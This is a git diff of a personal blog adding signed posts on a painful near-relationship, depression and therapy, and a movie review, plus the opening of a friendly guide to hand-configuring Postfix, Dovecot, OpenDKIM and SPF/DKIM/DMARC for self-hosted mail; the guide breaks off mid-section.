+LBQovv9UO2rrxO5T+FkPQAN5wwXO5NiKHKuamf8vswM927m1ogzhGxIIGTgqFvWt +zsFOtAKjt2eLrX0iH5HjHhAbfA8NLwL0IOuo8Uou3goGNLWmYg+YoLJUtCcjLzSv +/NrCeSSUcILL/VYroR+2PJk2O4e4temEtJ68aBAUPLLY43u8fiMcY5C7jpzTA2yU +9nxaDSWgMkTfH5zxPC3s4Wm/OvWLJz+HF+dWGtg5EeAbO3FjrJGDkx89jRjKJvE5 +JDppSbaA4Au1+jWhycXRP0IRJF6LNPM0Rgy58iewg8SNbtwKNrfPO5BjNFkNOJk+ +Uo73DL8CKbb7zryFrE0U/8MbAeil8EcwlGfAYf/Qi1pimrUfE6HAPDd4Rfp8NtrH +n4wWtbnkxRra++wLrhqsUtqbf3Y0R7MovPV3Z/lsumbhLl9OdAkjtQ5XRrCww8yf +UN1oYkbtmuVto/wHJjmWujFphFW5vWdjN/H3qX2qwPgp3zNACvjOl6TmX5QMvVEL +gDiRVyC6joFMZkZTqs+xPhf39Tp/AN1wxRxPPYP0fLs+csJdJS1iVRrCYZWgoYv2 +pbOQX7L+nm92NpyDnYG5 +=k5sD +-----END PGP SIGNATURE----- diff --git a/content/posts/relationships.md b/content/posts/relationships.md new file mode 100644 index 0000000..d5cc424 --- /dev/null +++ b/content/posts/relationships.md @@ -0,0 +1,166 @@ ++++ +title = 'Relationships' +date = 2025-10-05T08:03:31Z +description= "My experience so far with relationships" +draft = false ++++ + +> Notice: You'll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. + +So... do you also think you're a lover boy, kind, nice person? +So do I! +I think I'm actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. + +My problem is when things are to become more serious! +Like, you know... connecting at a more emotional level. +A "relationship". +I'm really bad at those. +In fact, I haven't ever been in one! +Now let's be honest, I'm not your typical jacked, handsome boy, but I think I'm somewhere around the average if not higher a bit? +Well, at least I hope so! :D + +I actually haven't even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like... yea dude... it was a date buddy. +Why do I say it wasn't a date? +Well, because I was told so yesterday by her. +That if it's a date, you're supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn't even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things! +We even found our "favorite shops" in the city together! +It was weird! I'm so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time. + +But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon "hopefully". +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that "the slots won't be filled". +It was weird, as if she was telling me I'm going to be taken if you don't do anything...? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I've been friendzoning her. +That I'm not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the "ways", she said "I don't play games and I also advise you not to get together with people that do so". +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I'm doing is normal and things are going well. +But I guess I was wrong? + +I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn't go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn't even know she was joining them or not. +It's kinda weird, but the plans were made in a group she was not inside of. +Anyway. + +October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let's go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn't just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn't know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that's how you can know if you like someone or not. If it's two way ofc. +I asked her what is this "click"? +She said "you know when you know, and if you think you don't know then there isn't one". +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it... +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date "early", as time is of essence. +Again, I was confused. +I was lost. +We've been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that's just how I felt in my mind? +Maybe things in my brain are just different? +I don't know. + +My sister in law told me that she probably had a crush on me and that I didn't reciprocate her feelings perhaps? +That I'm friendzoning her by not touching her back or asking her out on a "date". +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date. + +She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, "we were so different from eachother at a much deeper level". +That her "life experiecnes" are just different, "and so on". +She did actually say "and so on". + +You know what it reminds me of? +Of when your paper gets rejected by saying "lacks novelty". xD + +Another extremely funny thing is that she said we're so different at a much deeper level, but she doesn't even know me. +What was meant at a deeper level? +I'm confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don't even know me? I'm so so incredibly confused. +I guess it could be the looks, and the "vibes"? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won't pursue her I guess? +Idk. + +I want to also come back to this point she made that she is "starting a new relationship". +She told me in the same conversation that someone asked her out (which she technically didn't even say this, but it could be induced), and that going on a date "does not mean you're in a relationship, that you want to know eachother". +Her saying that "I said I'm starting a new relationship" hurt me, not because she is doing that, because she didn't technically tell me that. +She then said "I always tell people this to avoid confusion". +I definitly didn't miss it if she did. She didn't, but whatever. It's fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me... +Did I miss it? +She didn't. Just trust me on this one. ;) + +I'm just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don't blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an "undefined state" of a relationship, and that she wants to keep it "friendly" in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn't even show interest about being friends, which is again totally fine. +But I'm just so baffeled by all of this. + +So... yea. This last "thing", whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I've been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can't just say the good stuff though. She was definitly a bit self-centered. It's funny how she told me that "people say I'm so proud in a negative way, but anyone who talks with me knows I'm not like that". Which is true, she wasn't proud, the correct term is self-centered, or "narcissistic" if you will, which I don't neceserrialy think is bad, but it is definitly an orange/yellow flag. + +One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I'm hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don't know. + +Well. I don't know what's gonna happen next, but I'm going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won't be alone? Who knows? haha. + +> P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I'm worth more than that. :) In my therapy session I remembered that in each of these so called "not dates" we had a conversation about "her", and she was dumping her emotional baggage on me, just like what happened this last time that confused me. + +--- + +{{< sigdl >}} diff --git a/content/posts/sadness.asc b/content/posts/sadness.asc new file mode 100644 index 0000000..7f83e73 --- /dev/null +++ b/content/posts/sadness.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qTFQQAKC5Fhs5OqY4yToIiqesfR3e +3PXeequqBthz32/2qbwmAQJ1gX27lZ49eBdj1jLA4IAF3v+5oODIN5hgr5FKRVxH +s3MMCJ6a1dQhUSC+CIvOobWt3iACYo80b2RRq9xmzTKrStIfOEHq9KnY6lyneHmG +7eaG16Np9y/h61Hlc8ljjzOzPvoDeeZF+RLMlgZw5LE/xTvG2dokvIazsrCTV/+O +gBZei+1HTBjtLxbTibO5+IsbjNYBHhn/T343+gzGn7NISNSnYbgGoZHLEqVO6bBH +YwHETdabjtx9FoRhn3Mz3GZ1IeE8Q+0kwGvUFxL1onrz+/153yMk5BRCvQQELTZ7 +pa9cJMarVtA2MllHZ+hz4yIlWRlLEVD+WtkjGjgms8BcWI7Kn/kl17hYjuU/IZ1k +hTNB4JlVZeBXj9TxFbIPJ1ouMXWWsaiHBmIeqL3jxscI75rNkn6ey5Gf+lk2FZ73 +4QeJau64U0ccOJwalL3PjE9ZXkl40SuKC5xMquftb1QdVId7awMOVaoxGG2fdrZt +cRcnYl8JyPuQ7MO4BrLtYlhn1KEh7sl1IFYXI3DIdMlYNpPjaVUIwd2Q12AtQc3Q +BYLk0RtCeYUXEMdo9if//Y1oaayxJdbkTDSlxvynnCvYbkWxrMs9VmugHBDMiqub +UCxPCH0B2tgko6k/fFme +=E8zz +-----END PGP SIGNATURE----- diff --git a/content/posts/sadness.md b/content/posts/sadness.md new file mode 100644 index 0000000..6b57ec2 --- /dev/null +++ b/content/posts/sadness.md @@ -0,0 +1,105 @@ ++++ +title = 'Sadness' +date = 2025-10-24T12:48:31Z +draft = false ++++ + +Honestly, I don't know why I'm doing any of this. I really don't. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let's say abused if you will, and then thrown away. +Just like a piece of trash. +It's been hurting more and more. +I've been lying to myself that I don't care. +That I've moved on. + +I've been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough. + +It's enough grieving though. +But is it? +I tell myself I have moved on. +I'm not chasing. +I'm really not. + +I do know that this was indeed the best that could've happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn't want to move on. +I told myself that I will meet new people, and forget. +But then aren't I changing the problem? + +The problem isn't what is on the surface. +It's something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter. + +Like if I tell a group of friends that I won't go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I'm not invited. +That if someone doesn't reply to me, they hate me. +Or that if someone passes me and doesn't look at me or say a word, they don't want to see me, or don't want me around them. + +I don't know how to stop these. +I started to do more home office for this very reason, but I wasn't that productive. +I think my time, and life, is going to waste, and I don't know how to stop it. +It's getting annoying. + +Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I'm far along I feel the extra stress I was neglecting. +Things just don't feel right. +I think I'm becoming depressed again. + +Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won't let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me. + +Maybe I should go for coffee at different times just not to meet this person. +I don't know. +I just know I'm hurting from within, and it's not nice. +It's like internal bleeding. +It's as painful as it gets. +It's as hurtful as it gets. + +I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don't want the responsibility. + +Like with a human things feel less stressful, but with a pet it's scary. +I'm more of a father to the pet. +Uh... +I can't even have a pet because of my house rules. + +I don't know what to do. +What I know is that I'm mentally hurting, and I don't know what to do. +I really don't. +I need help. +A lot of help. +A lot lot of help. +But I can't ask my friends. +I just can't. +They have their own problems. +They think I'm weak. +They will tell me to man up. +Or they just show empathy. +But I don't need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help. + +... --- ... + +... --- ... ... --- ... ... --- ... + +... --- ... + +--- + +{{< sigdl >}} diff --git a/content/posts/scent_of_a_woman.asc b/content/posts/scent_of_a_woman.asc new file mode 100644 index 0000000..0b11e53 --- /dev/null +++ b/content/posts/scent_of_a_woman.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q1qsQALb6NsD1LOVKfLIDhB4enmc6 +dUQAbtqV5FDRq9Kp20vNxbgbChyoluCNHSESsNUOsk9Un9+v3LJHfyaRxvg4pai7 +DE7n99DgF4SQ1uS6ZaXxLvpOydQqwgDFR5/m/wAjo6NENW9OmzKWVS7+0h8puiXk +XX84bLwEqyxUePDBGrDyYWIZYMMDihquPDc5LVpotvhwLU3NA+RL+0ngH1rPTUYb +QgQ6tsB8/6XTyKcmK+ZrvHHIy8aai3W/q1iU2zOz0ueQdRxF/cnQN0/twajFxeyF +ba2I725WV87GjXtbInC6rVIhQEKdd1em6kUtnh5N7gFEID0uXuZgRCe72gZYU72O +VRI8wqmHjL+KqStkds0PAduejCg1KtNDcVz7JPewrTsDrmvvLzO5RPSajEuke/Pb +C7BYRH73X8P7M4FOVRXuig9Os6mrcPBqA3rI/H9bNnWjf2WdWEFOi13JiqTvjgj2 +x9Ei87/Y8pfrdgC/4MmJ36lBpgEohwKvxii0s0PlBIWa4u/2KYAgS0Q+ngwkJ+H6 +Nw2W/4soGkgOD9b/AkJaUGqN37QiDuvET1H1tb8o9EsmBvGge1RpEW0Ld4GNYf6w +Q2huQHJIZHxqsMmoQEh3y7xsHnJIfM2V3JBFk9YlFPKKEhiXCrjMvhV45Thx6MiX +uqPwlhZbctvKaWBzN4Y6 +=WBNK +-----END PGP SIGNATURE----- diff --git a/content/posts/scent_of_a_woman.md b/content/posts/scent_of_a_woman.md new file mode 100644 index 0000000..a1a226e --- /dev/null +++ b/content/posts/scent_of_a_woman.md @@ -0,0 +1,94 @@ ++++ +title = 'Movie review: Scent of a Woman' +date = 2025-10-13T08:52:10Z +draft = false +description = "My reaction to the movie as a not so pro movie watcher" ++++ + +I'm not a big movie watcher. +In fact, I don't remember the last time I watched a whole movie in a single day. +It's not that I don't enjoy it, it's that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched [Scent of a Woman](https://www.imdb.com/title/tt0105323) on Sunday, and after my therapist encouraged me to do so. + +Few points before I begin. +- This was aside from the therapy session. +- My therapist does not tell me what to do, or if I'm wrong or right or anything like that. +- I watched this movie in about two parts in a single day! +- I knew Al Pacino's face from Godfather series, but didn't know his name. +- I'm not a big movie person, so whatever I say should be taken with a grain of salt. Just don't be offended, take it face up and as is. + +The movie is about a good young student named Chris O'Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard. + +The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie. + +Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn't really there for him. + +When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees. + +Upon Karen's leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this. + +He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life. + +Frank is in love with Jack Daniel's and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed. + +Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn't want to snitch, but frank learns about this, he encourages him to take the deal. + +Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express! + +In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn't even recognize Frank was blind!!!! + +After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris's parent. + +Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father's back was. + + +In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed. + +The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting. + + +That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie? + +Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I'm also getting a lot back while making some sacrifices. + +Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman? + +I honestly do not know. +I just know that watching the movie gave me good feelings. +That I'm a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I'm on the right track, but still need time to figure out the way. +That I shouldn't worry too much. +That I should look at everything as a way to have "fun". +That I shouldn't overthink things. +That if I mess up, oh well, I should take the responsibility and move on. + +I don't know what the intention of my therapist was, but I'm so curious! +I want to figure it out. :) +Fell free to cross your fingers for me! + +--- + +{{< sigdl >}} diff --git a/content/posts/seeing_the_light.md b/content/posts/seeing_the_light.md new file mode 100644 index 0000000..5f9b647 --- /dev/null +++ b/content/posts/seeing_the_light.md @@ -0,0 +1,24 @@ ++++ +title = 'Seeing the "Light"' +date = 2025-12-25T11:26:04Z +draft = false ++++ + +I have a strong hunch that I made it. I beat my MDD. I'm finally happy! I'm happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. + +Currently I'm sitting in Hamburg's CCH, being an Angel in disguise. ;D + +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. + +I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he's been wanting to talk to me about... well... something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about. + +He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to "give time to time". So... yea. Idk. She will probably talk to me about this as time goes on. I don't want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch. + +Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it. + +As time goes by, and as I become more experienced, I feel more relieved. + + +--- + +{{< sigdl >}} diff --git a/content/posts/self_hosting_mail.md b/content/posts/self_hosting_mail.md new file mode 100644 index 0000000..d05eab3 --- /dev/null +++ b/content/posts/self_hosting_mail.md @@ -0,0 +1,209 @@ +--- +title: "Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)" +date: 2026-07-24 +tags: ["mail", "postfix", "dovecot", "opendkim", "postfixadmin", "roundcube", "nginx", "self-hosting", "homelab", "dns", "dkim", "spf", "dmarc"] +categories: ["guides"] +draft: false +description: "A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again)." +--- + +> If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do **not** assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. + +I wanted real email on my own machine — `mail.alipourimjourneys.ir` — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) + +By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand *why* those pieces exist, which is the part the shiny installers quietly skip. + +--- + +## Why I bothered + +Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon. + +I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic. + +--- + +## How email actually moves + +Imagine a post office that both receives letters from other post offices *and* lets you drop off letters to send — but only if you show ID at the counter. + +**Postfix** is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port **25**. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later). + +When *you* want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use **submission**, usually port **587**, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye. + +**Dovecot** is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port **993** so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself. + +**OpenDKIM** sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address. + +Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you. + +Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files. + +--- + +## The shape of my setup + +On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under `/srv/services/mail/` runs Postgres only for that mail world, listening on `127.0.0.1:5433`. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse. + +Nginx terminates HTTPS for a little portal at `mail.alipourimjourneys.ir`, the admin UI at `mailadmin.alipourimjourneys.ir`, and Roundcube at `webmail.alipourimjourneys.ir`. Clients still talk to `mail.alipourimjourneys.ir` for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers. + +--- + +## Port 25 is for servers; port 587 is for people + +This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure. + +Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed *to your domain*, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers. + +Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send. + +I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay. + +--- + +## What an “open relay” is, and why localhost lies to you + +An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation. + +Here’s the trick that wastes afternoons: testing from `127.0.0.1`. + +Postfix treats localhost as friendly. Cron jobs, monitoring, local `sendmail` calls — they need to inject mail without performing a full human login. That friendliness is encoded in `mynetworks`. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful. + +So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from `evil@example.com` to `someone@example.com`, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of `454 Relay access denied`. A cheerful `250` on that recipient line is how you wake up as someone else’s cannon. + +Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?” + +--- + +## DNS, but make it human + +### The forward map (name → number) + +You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an **MX** record, which is simply a polite note: “if you’re delivering mail for this domain, knock on *that* hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet. + +I put `mail.alipourimjourneys.ir` on funbox for both v4 and v6, pointed MX at that name, and added `webmail` and `mailadmin` the same way. + +### Why Cloudflare’s orange cloud is not invited + +Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot. + +Mail hostnames stay **DNS-only** — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there. + +--- + +## PTR records: the phonebook in reverse + +This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly. + +Normal DNS is a phonebook from names to numbers: you look up `mail.example.com` and learn the IP. **Reverse DNS** is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a **PTR** record. + +Those reverse records do *not* live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for `alipourimjourneys.ir` does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street. + +So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to `mail.alipourimjourneys.ir`, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi. + +You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good. + +--- + +## SPF, DKIM, and DMARC: three different questions + +People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients. + +**SPF** answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then `-all`, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer `~all` exists for a reason. I wasn’t mid-migration. I was building one source of truth. + +**DKIM** answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp. + +**DMARC** answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with `p=none` (watch and learn), move to `quarantine` (bad mail goes to spam), and later `reject` when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough. + +Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy. + +Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot. + +--- + +## Building the unglamorous core + +On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for `mail.alipourimjourneys.ir`, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026. + +Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under `/var/spool/postfix`, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the `postfix` 